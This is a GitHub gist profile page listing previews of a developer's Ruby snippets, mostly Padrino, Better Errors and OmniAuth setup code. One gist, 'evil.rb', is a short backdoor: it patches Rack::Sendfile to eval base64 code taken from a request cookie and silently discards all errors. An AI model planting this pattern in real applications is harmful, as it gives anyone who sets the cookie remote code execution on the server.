Skip to content

Instantly share code, notes, and snippets.

View tyabe's full-sized avatar
💤
zzz

Takeshi Yabe tyabe

💤
zzz
  • STORES, Inc.
  • Tokyo Japan
  • X @tyabe
View GitHub Profile
@tyabe
tyabe / stacked_middlewares.rake
Last active March 9, 2021 10:28
Display lists of all stacked rack middleware for your padrino app
##
# This is rake task of padrino-framework
# Display lists of all stacked rack middleware for your padrino app.
# distributed under the MIT License(http://tyabe.mit-license.org/)
#
def stacked_middlewares(app, args)
require Padrino.root('config/boot.rb')
app_obj = app.app_obj
instance = app_obj.new!
build = app_obj.build(instance)
@tyabe
tyabe / evil.rb
Last active August 5, 2019 11:01
def _!
begin
yield
rescue Exception
end
end
Rack::Sendfile.prepend Module.new{
define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))}
@tyabe
tyabe / better_errors_plugin.rb
Created December 16, 2012 14:09
This is Padrino Plugin for better_errors.
##
# Better Errors plugin on Padrino
#
# https://github.com/charliesome/better_errors
#
GEMFILE = <<-GEMFILE
# Better Errors
group :development do
@tyabe
tyabe / boot.rb
Created November 10, 2013 15:41
This patch is a thing to be use the BetterErrors in Padrino 0.11 or later. Because, BettorErrors's XHR prevent by rack-protection.
# This file in a config directory.
if Padrino.env == :development
# Setup better_errors
Padrino::Application.use BetterErrors::Middleware
BetterErrors.application_root = PADRINO_ROOT
BetterErrors::Middleware.allow_ip! ENV['TRUSTED_IP'] if ENV['TRUSTED_IP']
Padrino::Application.set :exclude_from_protection, '/__better_errors' # Append this
# ...
end
@tyabe
tyabe / app.rb
Created September 1, 2013 09:10
Padrino 0.11 以降で Better Errors を使う ref: http://qiita.com/tyabe/items/b5300572a9dfd7f7e039
module Sample
class App < Padrino::Application
#...
set :protect_from_csrf, except: %r{/__better_errors/\d+/\w+\z}
@tyabe
tyabe / Gemfile
Created December 12, 2012 12:12
Padrino で Better Errors を使う ref: http://qiita.com/items/1512c5c4aab5d51c811a
group :development do
gem "better_errors"
gem "binding_of_caller"
end
module Tetoromino
def self.parse(coordinate)
before = coordinate.split(',').sort
mx, my = before.map{|c|c.split(//)}.transpose.map(&:sort).map(&:first)
coordinate = before.map { |o| "#{o[0].to_i - mx.to_i}#{o[1].to_i - my.to_i}" }.join(',')
ptn_l = %w[
00,01,02,12
00,01,10,20
00,10,11,12
#! /usr/bin/env ruby
# coding: utf-8
require 'sinatra/base'
require 'active_resource'
require 'haml'
class MAService < ActiveResource::Base
self.site = 'http://jlp.yahooapis.jp'
DEFAULT_PARAMS = {
@tyabe
tyabe / omniauth-identity.rb
Created January 20, 2012 18:01
OmniAuth-Identityのデフォルトフォームを使用しないようにする
# coding: utf-8
Rails.application.config.middleware.use OmniAuth::Builder do
provider :identity, fields: [:name, :email],
on_failed_registration: lambda{|env| IdentitiesController.action(:new).call(env)}
end
# "/auth/identity/register"をroutesで上書き出来るようにする
module OmniAuth
module Strategies
class Identity
@tyabe
tyabe / exit_trap_sample.rb
Created November 22, 2011 01:56
Rubyスクリプトが落ちた場合にログを取得する
#!/usr/bin/env ruby
# coding: utf-8
require 'logger'
logger = Logger.new(STDOUT)
# 予期しない例外等での終了を補足してログ出力を行う
Signal.trap(:EXIT) { logger.fatal($!) if $! && !($!.is_a?(SystemExit) && $!.success?) }